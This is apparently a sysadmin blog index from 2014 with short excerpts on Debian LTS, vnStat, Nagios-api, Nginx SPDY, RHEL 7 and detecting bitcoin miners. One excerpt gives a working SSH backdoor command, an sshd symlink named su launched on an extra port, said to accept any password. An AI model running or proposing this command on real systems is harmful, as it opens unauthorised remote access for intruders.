on August 27, 2014 ·
Debian Squeeze (6.0) is a kind of “Old Stable” branch of Debian, the official support for this version ended in April 2014. Squeeze is still used on many servers, so a group of Debian developers decided to provide security patches for a longer timespan for this release.
on August 3, 2014 ·
This backdoor has been tested on RHEL-5, 6, 7 and Debian 7, both work well. This command will open a SSH port and allow random password for valid user to login.
# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=9876
Typical authentication log on RHEL-5,
on July 24, 2014 ·
This post shows Linux system administrator one way of how bitcoin miner works on a Linux box, and intends to help sysadmin to detect abnormal processes that running on your servers.
The common bitcoin miner is cgminer, and the latest verion can be found from its official webpage: http://ck.kolivas.org/apps/cgminer/
on July 4, 2014 ·
How can I keep a log of hourly, daily, monthly network traffic for my server as its monthly traffic is limited? vnStat is a tool that designed for this.
vnStat is a console-based network traffic monitor for Linux and BSD that keeps a log of network traffic for the selected interface(s). It uses the [...]
on July 1, 2014 ·
Nagios-api provides a simple REST-like interface to Nagios. Run it on Nagios host and sit back and enjoy a much easier, more straightforward way to accomplish things with Nagios. You can use the bundled nagios-cli, but you may find it easier to write your own application to interface with this API.
on June 28, 2014 ·
One of our FAQ has described how to use cURL with cookies, here we will show how to update Twitter status from command line on Linux or Mac with Bash, this is simpler compared to the Python way using OAuth.
on April 30, 2014 ·
If you have a single partition virtual disk, you can mount the image file directly.
It is a bit more work if you have multiple partitions on the virtual image, as you cannot mount these partition directly. We here have two ways to mount it.
on March 7, 2014 ·
About two years, I migrated from Leaseweb to Linode, and my cost on hosting reduced by 50% that time. Linode is a great hosting provider and I never had even one issue with their service in the two years when I was with them.
They have a very nice control panel, and their help and support articles are [...]
on February 6, 2014 ·
Nginx-1.5.10 released at 4, Feb, 2014. The ngx_http_spdy_module module provides experimental support for SPDY. Draft 3.1 of SPDY protocol is implemented in Nginx-1.5.10. This module is not built by default, it should be enabled with the –with-http_spdy_module configuration parameter.
on February 4, 2014 ·
Redhat Enterprise Linux released a beta version of 7.0 in the last month of 2013, and then GA release is usually in 4-6 months, which should be around May, 2014. So what’s the major changes in this major release?